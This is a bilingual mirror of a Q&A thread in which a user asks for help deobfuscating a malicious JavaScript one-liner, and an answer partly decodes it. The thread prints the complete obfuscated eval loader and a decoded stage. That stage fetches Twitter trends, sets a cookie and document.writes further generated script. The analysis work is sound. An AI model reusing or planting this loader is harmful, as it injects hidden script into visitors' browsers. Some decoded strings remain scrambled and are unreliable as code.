帮助反混淆这种JS攻击 [英] Help Deobfuscate This JS attack
本文介绍了帮助反混淆这种JS攻击的处理方法，对大家解决问题具有一定的参考价值，需要的朋友们下面随着小编来一起学习吧！
问题描述
我有一个令人讨厌的javascript，我想要去混淆。我知道我可以启动一个虚拟机并看到它的所有荣耀中的恶意软件，但我更感兴趣的是它没有运行，而是以非混淆的形式查看它。如果它需要运行才能做到这一点，那么就这样吧，我想。有人知道怎么做而不妥协吗？
I have a piece of nasty javascript that I would like to de-obfuscate. I know that I can spin up a VM and behold the malware in all of its glory, but I am more interested in not having it run, but viewing it in a non-obfuscated form. If it needs to run in order to do this, then so be it, I guess. Anyone know how to do this without compromising myself?
谢谢，
Tim
Thanks, Tim
编辑：这里是代码（一个班轮，它是在脚本标签之间）。这是发给我的，我无法访问服务器。
here's the code (one liner, it was between script tags). This was sent to me, I don't have access to the server.
var $a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cuZ252c14Z2529);Z2522;Z22;ceZ3dZ22arZ2543oZ2564eZ2541Z2574Z25280Z2529^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;dzZ3dZ22Z2566unZ2563tZ2569onZ2520dw(Z2574)Z257bcaZ253dZ2527Z252564oZ252563umZ252565ntZ252eZ252577Z2572Z252569Z2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z2529Z2527;cbZ253dZ2527Z25253cscZ252572Z252569pZ252574 Z25256cZ252561nZ25256Z2537uZ252561geZ25253Z2564Z25255cZ252522Z256aavZ252561Z252573cZ252572ipZ25257Z2534Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z252569ptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522]Z2528uneZ2573cZ2561Z2570e(Z2574))Z257d;Z22;cbZ3dZ22e(dZ2573);Z2573tZ253dtmpZ253dZ2527Z2527;for(Z2569Z253d0;Z2569Z253cdZ2573.Z256cZ256Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ225ngZ2574h;Z2569Z252bZ252b)Z257btmpZ253ddsZ252esliZ2563e(Z2569Z252cZ2569+1)Z253bsZ22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573Z2528Z2564Z2561Z252bZ2564bZ252bZ2564Z2563Z252bdZ2564+Z2564Z2565Z252c1Z2530Z2529;Z2564wZ2528sZ2574)Z253bZ2573tZ253d$Z2561;Z2522;Z22;caZ3dZ22Z2566Z2575nctZ2569Z256fnZ2520Z2564Z2563s(dZ2573,Z2565s)Z257bdsZ253duneZ2573caZ2570Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cdZ3dZ22Z2574Z253dstZ252bStrZ2569nZ2567.fZ2572Z256fmCZ2568arZ2543oZ2564e((Z2574mp.Z2563hZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uZ256ecZ2574ioZ256e cZ257aZ2528czZ2529Z257bretZ2575rn Z2563a+cZ2562+Z2563cZ252bZ2563d+Z2563e+cZ257a;Z257d;Z22;Z69Z66Z20(doZ63uZ6denZ74.coZ6fkiZ65Z2eiZ6edZ65xOfZ28Z27rf5Z666Z64sZ27)Z3dZ3d-1)Z7bfunctionZ20cZ61llbZ61ckZ28x)Z7bwinZ64Z6fZ77Z2etw Z3d xZ3bvarZ20Z64 Z3d nZ65wZ20DaZ74e()Z3bd.Z73eZ74Z54Z69Z6dZ65(x[Z22asZ5foZ66Z22]*1Z300Z30)Z3bZ76aZ72 hZ20Z3d d.Z67Z65Z74UZ54Z43HZ6fuZ72s(Z29;wiZ6edoZ77.Z68 Z3d h;Z69fZ20(hZ20Z3e 8)Z7bd.Z73etUZ54Z43DatZ65(dZ2egeZ74Z55Z54Z43Z44ateZ28) Z2dZ20Z32)Z3b}elZ73eZ7bd.sZ65tUTZ43Z44Z61teZ28dZ2egetZ55TZ43DatZ65()Z20- 3Z29;Z7dwiZ6edZ6fw.gZ64 Z3d d;vZ61r tZ69me Z3d nZ65Z77 AZ72raZ79(Z29;Z76ar Z73Z68iZ66tZ49ndeZ78 Z3d Z22Z22;tiZ6dZ65[Z22yeZ61rZ22] Z3d dZ2egZ65tUZ54CZ46ullZ59eaZ72(Z29Z3btZ69Z6de[Z22mZ6fZ6etZ68Z22] Z3d Z64Z2egeZ74Z55Z54CMZ6fnthZ28)Z2bZ31;tZ69me[Z22Z64Z61yZ22] Z3dZ20d.Z67etZ55TZ43Z44atZ65()Z3bif Z28d.gZ65Z74UTZ43Z4donZ74h()Z2b1 Z3c 1Z30)Z7bshiftZ49ndeZ78 Z3d tiZ6de[Z22yeaZ72Z22] Z2b Z22Z2d0Z22 + (dZ2egetZ55TZ43MonZ74Z68()Z2b1Z29;}eZ6cZ73Z65Z7bshiZ66Z74IZ6edZ65x Z3d tiZ6deZ5bZ22yearZ22] +Z20Z22-Z22 +Z20(Z64.geZ74UTZ43MZ6fnZ74hZ28Z29+Z31);Z7difZ20(dZ2egetZ55TCDZ61te(Z29 Z3c 10Z29Z7bshifZ74InZ64Z65xZ20Z3dshifZ74Z49ndeZ78Z20+ Z22-0Z22 + Z64Z2egetZ55TCDZ61teZ28);}Z65Z6csZ65Z7bshiZ66tInZ64eZ78 Z3dZ20shZ69fZ74IZ6edexZ20+ Z22-Z22 Z2b Z64.Z67etZ55Z54Z43DatZ65();Z7ddZ6fcumZ65Z6eZ74.Z77rZ69teZ28Z22Z3cscrZ22+Z22ipt lZ61nguZ61geZ3djavZ61sZ63rZ69Z70Z74Z22+Z22 sZ72cZ3dZ27http:Z2fZ2fseaZ72chZ2etwZ69tteZ72.cZ6fmZ2ftZ72eZ6edsZ2fdailZ79.Z6aZ73on?Z64Z61tZ65Z3dZ22+ shiftZ49nZ64eZ78+Z22&cZ61llZ62acZ6bZ3dcallZ62acZ6bZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} functiZ6fn Z63aZ6clZ62aZ63kZ32(x)Z7bwZ69ndoZ77.tZ77 Z3d x;Z73c(Z27rZ665Z66Z36dsZ27,2,Z37)Z3bZ65vaZ6c(uZ6eescZ61peZ28Z64zZ2bcZ7aZ2boZ70+stZ29+Z27dwZ28dz+Z63z(Z24Z61+stZ29);Z27);Z64oZ63umZ65ntZ2ewZ72Z69te(Z24a);Z7dZ64ocuZ6deZ6eZ74.Z77riZ74e(Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearchZ2etwZ69tteZ72.Z63oZ6dZ2fZ69mZ61gZ65Z73Z2fseaZ72Z63hZ2frsZ73.pnZ67Z27 wiZ64tZ68Z3d1Z20Z68eiZ67htZ3d1 sZ74ylZ65Z3dZ27visibiZ6citZ79Z3ahiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt laZ6eguZ61geZ3djZ61vZ61sZ63ripZ74Z22+Z22 srZ63Z3dZ27http:Z2fZ2fseaZ72ch.Z74wZ69tZ74erZ2eZ63omZ2ftZ72eZ6edsZ2fdaZ69lyZ2ejZ73Z6fn?cZ61llZ62Z61cZ6bZ3dcallbZ61Z63Z6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};functiZ6fZ6e scZ28Z63nm,Z76Z2cedZ29Z7bvarZ20eZ78Z64Z3dnew Z44atZ65()Z3beZ78Z64.Z73Z65tDZ61Z74Z65Z28Z65xdZ2eZ67etZ44ateZ28)+Z65d);Z64ocZ75meZ6et.cZ6foZ6bieZ3dZ63nZ6d+ Z27Z3dZ27 +esZ63apeZ28vZ29+Z27Z3beZ78pirZ65sZ3dZ27+exdZ2etoZ47Z4dTZ53tZ72Z69Z6eZ67Z28);Z7d;";
var ez=window;ez[String.fromCharCode(101,118,97)+"l"](fds());
function asd(s)
{
r="";
for(i=0;i<s.length;i++)
{
if(s.charAt(i)=="Z")
{
s1="%"
}
else
{
s1=s.charAt(i)
}
r=r+s1;
}
return unescape(r);
}
function fds()
{
return asd($a);
}
再次编辑：我选择了Matthew Flaschen，因为看完了它之后无论是他，Russ Cam还是其他人都帮助我们了解了这次特殊攻击所做的事情以及如何解决这类问题。马修碰巧跳得最快。
EDIT AGAIN: I am choosing Matthew Flaschen because after all of the looking at it both he, Russ Cam and others have helped shine a lot of light on what this particular attack does and how to go about this sort of thing in general. Matthew happened to jump on this the fastest.
注意：在试图找到底部的过程中，我找到了一个非常方便的工具调用Malzilla。如果你需要做这种事情，它有很多很好的实用工具。谢谢大家！
NOTE: In the process of looking at trying to get to the bottom of this, I found a very handy tool call Malzilla. If you are in need of doing this sort of thing, it has a lot of good utilities. Thanks All!
推荐答案
好的，第1阶段。这相对容易。 String.fromCharCode（101,118,97）是eva，所以它在 fds（）上调用eval函数。这反过来只是调用 asd ，这实际上只是用％替换Z。在我们取消之后，我们得到他们想要的代码 eval ：
Okay, stage 1. This was relatively easy. String.fromCharCode(101,118,97) is "eva", so it's calling the eval function on fds(). That in turn just calls asd, which is really just replacing "Z" with %. After we unescape, we get the code they wanted to eval:
op="%24a%3d%22dw(dcs%28cu%2c14%29);%22;";
ce="ar%43o%64e%41%74%280%29^%28%27%30x%300%27+e%73)%29)%3b}}";
;cb="e(d%73);%73t%3dtmp%3d%27%27;for(%69%3d0;%69%3cd%73.%6c%6";
da="fqb0t-7vrs}vyb>s%7F}7+0fqb0cxyvdY~tuh0-0%20+v%7Fb08fqb0y0y~0gy~t%7Fg>dg>dbu~tc9kyv08gy~t%7Fg>x0.0(0660gy~t%7Fg>x0,0%22!0660y>y~tuh_v870%20'790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~t%7Fg>x0,0)0ll00gy~t%7Fg>x0.0%22%2090660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>sxqbS%";
cu="(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:w{y;xp;df{l;64c}p`|)%$$4|q}s|`),$*(;}rfuyq*(;p}b*";
cc="5ng%74h;%69%2b%2b)%7btmp%3dds%2esli%63e(%69%2c%69+1)%3bs";
st="%73%74%3d%22$a%3ds%74;%64c%73%28%64%61%2b%64b%2b%64%63%2bd%64+%64%65%2c1%30%29;%64w%28s%74)%3b%73t%3d$%61;%22;";
ca="%66%75nct%69%6fn%20%64%63s(d%73,%65s)%7bds%3dune%73ca%70";
dc="rs}vyb>s%7F}7+fqb0}%7F~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07%7Fh{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<7%7F7<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<%22<#<$<%<%26<'<(<)9+%19ve~sdy%7F~0Sq|se|qdu]qwys^e}rub8tqi<0}%7F~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;";
dd="08y~tuh0:0tqi990;08}%7F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx%22<0}%7F~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}%7F~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;!%20%20+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060%20hQQ90;0~e}9050%26#9050%22%26M0;0|uddubcK888dy}uK7iuqb7M060%20hQQ90,,0%2290;0~e}9050%22%M+iuqbSx%220-0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0#90;0~e}9050";
cd="%74%3dst%2bStr%69n%67.f%72%6fmC%68ar%43o%64e((%74mp.%63h";
db="7FtuQd8!90;0!%200;gy~t%7Fg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0%2009kcxyvdY~tuh0-0gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>sxqbS%7FtuQd8!90;0'0;gy~t%7Fg>dg>dbu~tcKyMK%26M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0%209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~t%7Fg>wt>wudEDSVe||Iuqb89+dy}uK7}%7F~dx7M0-0gy~t%7Fg>wt>wudEDS]%7F~dx89;!+dy}uK7tqi7M0-0gy~t%7Fg>wt>wudEDSTqdu89+fqb0t-7v";
de="!%209M0;0|uddubcK8888dy}uK7iuqb7M060%20h##!!90..0$90;0~e}9050!%209M+0}%7F~dxSx0-0|uddubcK88dy}uK7}%7F~dx7M0;0~e}9050%22%9M0;0|uddubcK88dy}uK7}%7F~dx7M0:0~e}9050%22%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0%269050%22'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050%22$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx%220;0}%7F~dxSx0;0iuqbSx!0;0tqiSx0;0}%7F~dxcKdy}uK7}%7F~dx7M0=0!M0;07>s%7F}79+m";
cz="%66u%6ec%74io%6e c%7a%28cz%29%7bret%75rn %63a+c%62+%63c%2b%63d+%63e+c%7a;%7d;";
if (document.cookie.indexOf("rf5f6ds") == -1) {
function callback(x) {
window.tw = x;
var d = new Date;
d.setTime(x.as_of * 1000);
var h = d.getUTCHours();
window.h = h;
if (h > 8) {
d.setUTCDate(d.getUTCDate() - 2);
} else {
d.setUTCDate(d.getUTCDate() - 3);
}
window.gd = d;
var time = new Array;
var shiftIndex = "";
time.year = d.getUTCFullYear();
time.month = d.getUTCMonth() + 1;
time.day = d.getUTCDate();
if (d.getUTCMonth() + 1 < 10) {
shiftIndex = time.year + "-0" + (d.getUTCMonth() + 1);
} else {
shiftIndex = time.year + "-" + (d.getUTCMonth() + 1);
}
if (d.getUTCDate() < 10) {
shiftIndex = shiftIndex + "-0" + d.getUTCDate();
} else {
shiftIndex = shiftIndex + "-" + d.getUTCDate();
}
document.write("<scr" + "ipt language=javascript" + " src='http://search.twitter.com/trends/daily.json?date=" + shiftIndex + "&callback=callback2'>" + "</scr" + "ipt>");
}
function callback2(x) {
window.tw = x;
sc("rf5f6ds", 2, 7);
function dw(t)
{
ca='%64o%63um%65nt.%77r%69t%65(%22';
ce='%22)';
cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';
cc='%3c%5c%2fscr%69pt%3e';
eval(unescape(t))
};
$a="dw(dcs(cu,14));";
function dw(t)
{
ca='%64o%63um%65nt.%77r%69t%65(%22';ce='%22)';
cb='%3csc%72%69p%74 %6c%61n%67u%61ge%3d%5c%22jav%61%73c%72ip%74%5c%22%3e';
cc='%3c%5c%2fscr%69pt%3e';
eval(unescape(t))
};
document.write("<script language=\"javascript\"><\/script>t=st+String.fromCharCode((tmp.ch")
dw(dcs(cu,14));
$a=st;
dcs(da+db+dc+dd+de,10);
dw(st);
st=$a;
document.write($a);
}
document.write("<img src='http://search.twitter.com/images/search/rss.png' width=1 height=1 style='visibility:hidden' /> <script language=javascript src='http://search.twitter.com/trends/daily.json?callback=callback'></script>");
} else {
$a = "";
}
function sc(cnm, v, ed) {
var exd = new Date;
exd.setDate(exd.getDate() + ed);
document.cookie = cnm + "=" + escape(v) + ";expires=" + exd.toGMTString();
}
I解码顶部的变量.cz很有趣。它说 cz =funct ion cz（cz）{return ca + cb + cc + cd + ce + cz;};; 显示为
I decoded the variables at the top. cz is intriguing. it says cz="function cz(cz){return ca+cb+cc+cd+ce+cz;};"; Which shows up as
function dcs(ds,es){
ds=unescape(ds);
st=tmp='';
for(i=0;i<ds.l%65ngth;i++){
tmp=ds.slice(i,i+1);
st=st+String.fromCharCode((tmp.ch! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m
我有难以解码最后 st = st + String.fromCharCode ... 部分，但是。
I'm having difficulty decoding that last st=st+String.fromCharCode... part, though.
仍在继续前进。如果你查看解码值，st是 st =st =$ a = st; dcs（da + db + dc + dd + de，10）; dw（st）; st = $ a;;; 然后添加d行，它就变成这样：
Still plowing forward. If you look a the decoded values, st is st="st="$a=st;dcs(da+db+dc+dd+de,10);dw(st);st=$a;";"; Then adding the "d" lines, it becomes something like this:
st="
$a=st;
dcs(fqb0t-7vrs}vyb>s}7+0fqb0cxyvdY~tuh0-0 +vb08fqb0y0y~0gy~tg>dg>dbu~tc9kyv08gy~tg>x0.0(0660gy~tg>x0,0"!0660y>y~tuh_v870 '790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbStuQd8!90;0gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mu|cu0yv088gy~tg>x0,0)0ll00gy~tg>x0.0" 90660y>y~tuh_v870!(790.0=!9kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK$M>aeubi>sxqbS%7FtuQd8!90;0! 0;gy~tg>dg>dbu~tcKyMK$M>aeubi>|u~wdx+rbuq{+mmyv08cxyvdY~tuh0--0 09kcxyvdY~tuh0-0gy~tg>dg>dbu~tcKyMK&M>aeubi>sxqbStuQd8!90;0'0;gy~tg>dg>dbu~tcKyMK&M>aeubi>|u~wdx+m0yv08cxyvdY~tuh0.0 9kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tg>wt>wudEDSVe||Iuqb89+dy}uK7}~dx7M0-0gy~tg>wt>wudEDS]~dx89;!+dy}uK7tqi7M0-0gy~tg>wt>wudEDSTqdu89+fqb0t-7vrs}vyb>s}7+fqb0}~dxc0-0~ug0Qbbqi87trc7<07id~7<07f}d7<07f}b7<07}|s7<07h{7<07vtc7<07rfv7<07iec7<07}s`7<07~sj7<07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7<7r7<7s7<7t7<7u7<7v7<7w7<7x7<7z7<7y7<7{7<7|7<7}7<7~7<77<7`7<7a7<7b7<7c7<7d7<7e7<7f7<7g7<7h7<7i7<7j79+fqb0~e}rubc0-0~ug0Qbbqi8!<"<#<$<%<&<'<(<)9+ve~sdy~0Sq|se|qdu]qwys^e}rub8tqi<0}~dx<0iuqb<0y~tuh9kbudeb~0888iuqb0;08y~tuh0:0tqi990;08}~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!<0iuqbSx"<0}~dxSx<0tqiSx<0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7M<0dy}uK7}~dx7M<0dy}uK7iuqb7M<0cxyvdY~tuh9;! +iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060 hQQ90;0~e}9050⍚"&M0;0|uddubcK888dy}uK7iuqb7M060 hQQ90,,0"90;0~e}9050"%M+iuqbSx"0-0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0#90;0~e}9050! 9M0;0|uddubcK8888dy}uK7iuqb7M060 h##!!90..0$90;0~e}9050! 9M+0}~dxSx0-0|uddubcK88dy}uK7}~dx7M0;0~e}9050"%9M0;0|uddubcK88dy}uK7}~dx7M0:0~e}9050"%9M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0&9050"'9M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050"$9M+4q-4q>bu`|qsu8t<tqiSx0;0iuqbSx"0;0}~dxSx0;0iuqbSx!0;0tqiSx0;0}~dxcKdy}uK7}~dx7M0=0!M0;07>s}79+m,10);
dw(st);
st=$a;
";
（缩进矿）。再次，仍然有这些长刺的麻烦。
(indentation mine). Again, still having trouble with those long stings.
这篇关于帮助反混淆这种JS攻击的文章就介绍到这了，希望我们推荐的答案对大家有所帮助，也希望大家多多支持IT屋！
查看全文
